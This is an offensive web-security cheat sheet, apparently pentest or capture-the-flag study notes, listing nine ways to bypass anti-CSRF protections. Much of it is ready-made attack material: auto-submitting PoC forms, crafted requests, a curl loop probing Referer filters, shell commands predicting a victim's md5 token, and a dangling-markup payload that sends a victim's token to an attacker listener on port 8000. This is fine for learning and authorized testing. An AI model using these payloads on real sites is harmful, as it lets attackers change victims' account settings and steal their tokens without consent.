CSRF Token Bypass
Anti-CSRF defenses exist to block CSRF, but a depressing fraction are buggy enough that the operator can route around them. The bypass categories, in order of how often they work:
# 1. Delete the token parameter entirely (app only checks "if present, validate")# 2. Send a blank/null token value# 3. Match the length but randomize the content (app only checks length)# 4. Reuse a token from your own account (app validates format, not user-binding)# 5. Method-tamper POST→GET (anti-CSRF only on POST)# 6. Reverse-engineer the token formula (md5(username), sha1(date+user), etc.)# 7. Bypass Referer regex (target.com matches target.com.evil.com)# 8. Same-site exploitation when SameSite=Lax/None (subdomain XSS, etc.)# 9. Session-fixation + double-submit cookie (fix the cookie, control the body)Success indicator: a state-changing request that the target accepts despite either missing, fake, or wrong-context anti-CSRF data.
The defenses, and why each is fragile
Section titled “The defenses, and why each is fragile”| Defense | What goes wrong |
|---|---|
| Per-session token | Validation might be “if token present, check; otherwise allow” |
| Per-request token | Same as per-session; or weak rotation lets stale tokens stay valid |
| Double-submit cookie | Cookie-fixation lets attacker control both halves |
| Origin/Referer check | Regex weakness, missing-header fallback, subdomain confusion |
| Custom header requirement | Some APIs are inconsistent about which endpoints enforce it |
| SameSite cookies | Subdomain XSS bypasses; cross-origin same-site relations |
| Encrypted/HMAC token | Replay attacks if token isn’t bound to nonce/timestamp |
The recurring theme: a defense is only as strong as its weakest validation path. Apps with multiple entry points to the same action (web form, JSON API, GraphQL mutation, legacy endpoint) often defend one path and forget another.
Category 1 - Delete the token parameter
Section titled “Category 1 - Delete the token parameter”The simplest bypass. Some apps’ validation logic:
if (request.has_parameter('csrf_token')): if not valid(request.csrf_token): reject()# (no else branch - request without csrf_token at all passes through)The mistake is checking the token “if present” rather than always requiring it. Send the request without the token at all:
POST /api/change-email HTTP/1.1Host: target.comCookie: auth-session=...Content-Type: application/x-www-form-urlencoded
No csrf_token parameter. App accepts.
Equivalent in form CSRF:
<form action="http://target/api/change-email" method="POST"> <!-- intentionally no csrf token field --></form>Always try this first.
Variant: empty value
Section titled “Variant: empty value”POST /api/change-email HTTP/1.1Cookie: auth-session=...
[email protected]&csrf_token=Empty string. Some apps check “is the field present” but treat empty as “skip validation.”
Variant: parameter pollution
Section titled “Variant: parameter pollution”POST /api/change-email HTTP/1.1Cookie: auth-session=...
[email protected]&csrf_token=BAD&csrf_token=&csrf_token=Multiple values for the same parameter. Some frameworks pick the first, some the last. If validation picks the first (BAD, rejected) but the action uses the last (empty, OK) - or vice versa - that’s the bypass.
Category 2 - Wrong-length / wrong-format token
Section titled “Category 2 - Wrong-length / wrong-format token”POST /api/change-emailCookie: auth-session=...
[email protected]&csrf_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASame length as a real token (32 hex chars), random content. Apps that only check len(token) == 32 accept this.
Variants:
- All-zero token:
csrf_token=00000000000000000000000000000000 - Reused-character:
csrf_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - Same prefix as your real token, junk suffix:
csrf_token=YOUR_REAL_PREFIX_THEN_GARBAGE_PADDING
Category 3 - Cross-account token
Section titled “Category 3 - Cross-account token”Register two accounts. Log in as account A, capture the CSRF token. Log into account B in a different browser. From the CSRF PoC, target account B’s session but use account A’s token.
Some apps validate “is this a valid CSRF token shape” without checking “is this this user’s CSRF token.”
<form action="http://target/api/change-email" method="POST"> <!-- This is YOUR token from your own session --> <input name="csrf_token" value="my_own_session_token_value"></form>Send to the victim. Victim’s cookie + your token. App checks “token has the right format/signature/HMAC” and accepts because it does - but the cookie belongs to the victim, so the action happens on the victim’s account.
This is a common finding because per-user binding is an extra implementation step that’s easy to skip.
Category 4 - Predictable token
Section titled “Category 4 - Predictable token”Some apps generate tokens deterministically. Common patterns to check:
# Patterns where TOKEN should equal the function outputecho -n 'username' | md5sum # md5(username)echo -n 'username' | sha1sum # sha1(username)echo -n "$(date +%Y-%m-%d)$USERNAME" | md5sum # md5(date + username)echo -n "$USERNAME$SALT" | sha256sum # sha256(username + known salt)
# JWT decoded - sometimes the "csrf" claim is just base64(username)echo -n 'admin' | base64To check: register an account, capture your CSRF token, try the various formulas with your username. If any match, that’s the algorithm. Now generate tokens for the victim:
$ echo -n 'victim_username' | md5sumec23c4e6e07ba43e0ad8d0eb24e6e6f9 -Use that value as the CSRF token in your PoC. Validates correctly because the formula matches.
Variants and their detection
Section titled “Variants and their detection”| Algorithm | Detection |
|---|---|
md5(username) | 32 hex chars; matches echo -n USER | md5sum |
sha1(username) | 40 hex chars; matches echo -n USER | sha1sum |
sha256(username) | 64 hex chars; matches echo -n USER | sha256sum |
base64(username) | Variable length; ends with padding = or == |
base64(username + secret) | Decode → see if first N chars match username |
hex(timestamp) | All-hex token where decode-as-int looks like Unix epoch |
| HMAC of session ID | Token is fixed but rotates when session changes |
random | No pattern; varies between requests; can’t predict |
What to try
Section titled “What to try”Always test:
md5(username)- most common naive choicesha1(username)- second most commonsha256(username)- modern but still naivemd5(username + "salt")- try common salt strings like the app’s name or domainbase64(username)- sometimes used by lazy implementations
If none match, the algorithm is probably random or HMAC-based - bypass via this path won’t work.
Category 5 - Method tampering
Section titled “Category 5 - Method tampering”When the anti-CSRF check is implemented only for POST requests:
# Vulnerable controller pattern@app.route('/api/change-email', methods=['POST', 'GET'])def change_email(): if request.method == 'POST': if not valid_csrf(request.form['csrf_token']): abort(403) # Both POST and GET reach this - but only POST checks CSRF new_email = request.values['email'] update_user_email(current_user, new_email) return 'OK'Send the request as GET:
App routes the GET request, skips the CSRF check (because the check is wrapped in if request.method == 'POST':), and processes the action.
Always try the alternate method when CSRF is in place. Convert POST→GET by moving params to query string; convert GET→POST by submitting the form with method POST.
Header method override
Section titled “Header method override”Some apps respect X-HTTP-Method-Override header for legacy reasons:
<form action="http://target/api/change-email?_method=POST" method="GET"></form>Or:
X-HTTP-Method-Override: POSTThe app sees a GET (skips CSRF check) and then routes as POST (does the action). Some Rails / Spring / Symfony apps have this enabled by default.
Category 6 - Referer / Origin bypasses
Section titled “Category 6 - Referer / Origin bypasses”When the app validates Referer or Origin header instead of (or in addition to) a token:
Missing-header fallback
Section titled “Missing-header fallback”POST /api/change-emailCookie: auth-session=...
No Referer: or Origin: at all. Apps that “allow if missing” fail open.
To strip these headers from your PoC:
<!-- Meta tag tells browser not to send Referer --><meta name="referrer" content="no-referrer"><form ...>...</form>Or <a rel="noreferrer"> for link-based triggers. The Origin header is harder to strip on a normal form POST but <form> POSTs don’t set Origin in some browsers historically (modern browsers do set it).
Regex weakness
Section titled “Regex weakness”Apps that match Referer/Origin against a regex sometimes get the regex wrong:
# Bad: matches anywhere in the stringif re.search(r'target\.com', request.headers.get('Referer', '')): pass_csrf_check()
# Attacker's Referer:# https://target.com.evil.com/csrf-page.html ← matches "target.com"# https://evil.com/?target.com ← matches "target.com"# https://evil-target.com.evil.com/ ← matches "target.com"Patterns to try when the regex is suspected:
https://YOUR_ATTACKER_DOMAIN_CONTAINING_TARGET.COM_AS_SUBSTRING/https://attacker.com/path?fake=target.comhttps://target.com.attacker.com/https://attackertarget.com/
# Test if any Referer matchesfor ref in \ 'https://target.com.evil.com/' \ 'https://evil.com/target.com' \ 'https://eviltarget.com/' \ echo -n "$ref → " curl -s -o /dev/null -w '%{http_code}\n' \ -e "$ref" \ -b 'auth-session=...' \ http://target/api/change-emaildoneThe response code tells you which Referer values are accepted.
URL-component confusion
Section titled “URL-component confusion”https://attacker.com/redirect?to=target.comIf the regex naively splits on ://, the path component contains target.com and matches. Real Origin would be https://attacker.com but the implementer parsed Referer instead of Origin and got the parsing wrong.
Category 7 - Same-site exploitation
Section titled “Category 7 - Same-site exploitation”When SameSite=Lax or Strict is in place, classic cross-origin CSRF dies. But “same site” is different from “same origin”:
| Pair | Same-origin? | Same-site? |
|---|---|---|
app.target.com & evil.com | No | No |
app.target.com & blog.target.com | No | Yes |
target.com & target.com:8080 | No | Yes |
target.com & target.com.au | No | No |
If you can inject HTML on blog.target.com (open blog comment field, user-controlled content), it can issue requests to app.target.com with cookies attached - because they’re same-site, SameSite=Lax/Strict cookies are sent.
Subdomain takeover → SameSite bypass
Section titled “Subdomain takeover → SameSite bypass”Find an abandoned subdomain pointing to a service you can claim (S3 bucket no longer registered, Heroku app deleted, Azure CNAME dangling). Register the service, control the subdomain, plant your CSRF page there.
Now your-claimed-subdomain.target.com/csrf.html is same-site with app.target.com. Cookies flow. CSRF works.
This requires reconnaissance - subdomain enumeration, scan for dangling DNS records. See domains and subdomains recon for the techniques.
Category 8 - Double-submit cookie with fixation
Section titled “Category 8 - Double-submit cookie with fixation”The double-submit-cookie defense: server sends a random token both as a cookie and embeds it in form fields; server checks the two match. Stateless - no server-side storage.
The mistake: the server doesn’t actually verify the token came from this session. Anything that sets matching cookie + body values passes.
Attack chain when session fixation is also present:
- Attacker visits target, captures the CSRF cookie value (e.g.,
csrf_cookie=XYZ123) - Attacker crafts a CSRF page that submits
csrf_token=XYZ123in the body - Attacker also injects
Set-Cookie: csrf_cookie=XYZ123onto the victim (via cookie injection - subdomain, response-splitting, or a related vulnerability) - Victim visits the CSRF page → request goes out with
csrf_cookie=XYZ123(injected) +csrf_token=XYZ123(in body); server checks they match; they do; action executes
The defense is broken because the server trusts that “matching cookie + body means same user agent that received them,” which isn’t true if the attacker can inject cookies.
Category 9 - Token-leak via other vulnerabilities
Section titled “Category 9 - Token-leak via other vulnerabilities”When you can’t bypass the token check, leak the token:
HTML injection
Section titled “HTML injection”If the target has HTML injection (e.g., reflects user input into a page rendered to other users), inject a tag that pulls content following the injection point:
<!-- Injection point in a page that also contains the CSRF token in the HTML --><table background='//attacker:8000/If the injection is reflected before the CSRF token’s <input> tag, this opens a string that won’t close until the next '. The browser tries to fetch the constructed URL, which includes everything between your injection and the next single-quote - including the CSRF token value.
GET //attacker:8000/<HTML content including token>Your listener receives the request. The URL path contains the leaked CSRF token.
This pattern requires the injection to land in a context where it can break out into HTML attribute syntax. View source to confirm the injection point and what follows.
If XSS works on the target (which is by definition same-origin), JavaScript reads the token directly:
const token = document.querySelector('input[name="csrf_token"]').value;fetch('/api/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},});This is the canonical XSS + CSRF chain - XSS reads the token and makes the request, defeating both anti-CSRF and SameSite.
A worked weak-token bypass
Section titled “A worked weak-token bypass”The HTB-style scenario: app generates CSRF tokens as md5(username). Operator owns account attacker, victim is victim.
# 1. Confirm the formula on attacker's own account$ echo -n 'attacker' | md5sum3edbe7bf83fec3a16edb7fbc4d39a2fb -
# (Compare with the CSRF token visible in attacker's account forms)# If it matches: formula confirmed.
# 2. Compute the token for victim$ echo -n 'victim' | md5sumb7fb3eb1f9b8b18b4f7c2c7f8e2c1d2a -
# 3. Craft CSRF PoC using victim's predicted tokencat > poc.html <<'EOF'<!DOCTYPE html><html><body onload="document.f.submit()"><form name="f" action="http://target/api/change-email" method="POST"> <input name="csrf_token" value="b7fb3eb1f9b8b18b4f7c2c7f8e2c1d2a"></form></body></html>EOF
# 4. Serve and deliverpython3 -m http.server 1337# Send http://your-ip:1337/poc.html to victimVictim logs in (their cookie sets), visits the PoC, form submits with their cookie + predicted token, app accepts.
Note: the predicted-token CSRF defeats the server-side check but doesn’t defeat SameSite cookies. If the cookie is SameSite=Strict, the cookie isn’t sent on the form submission and the request fails for a different reason. Predicted-token CSRF works best when SameSite is None or absent.
Quick reference
Section titled “Quick reference”| Bypass | Try |
|---|---|
| Delete token | Send request without the csrf field |
| Blank token | csrf_token= (empty) |
| Random same-length | csrf_token=AAAA...AAAA (matched length) |
| Cross-account | Use your own account’s token in PoC targeting victim |
| Method tampering | POST→GET or GET→POST; add X-HTTP-Method-Override |
| Strip Referer | <meta name="referrer" content="no-referrer"> |
| Confuse Referer regex | https://target.com.evil.com/; https://evil.com/?target.com |
| Weak token (md5) | echo -n USER | md5sum vs token value |
| Weak token (sha1) | echo -n USER | sha1sum |
| Token leak via HTML inj | <table background='//attacker:8000/ |
| Token leak via XSS | document.querySelector('input[name=csrf_token]').value |
| SameSite same-site | Find injectable HTML on a sibling subdomain |
| Double-submit + fixation | Inject CSRF cookie, body, both match - passes check |
enctype="text/plain" JSON | See CSRF - text/plain form trick |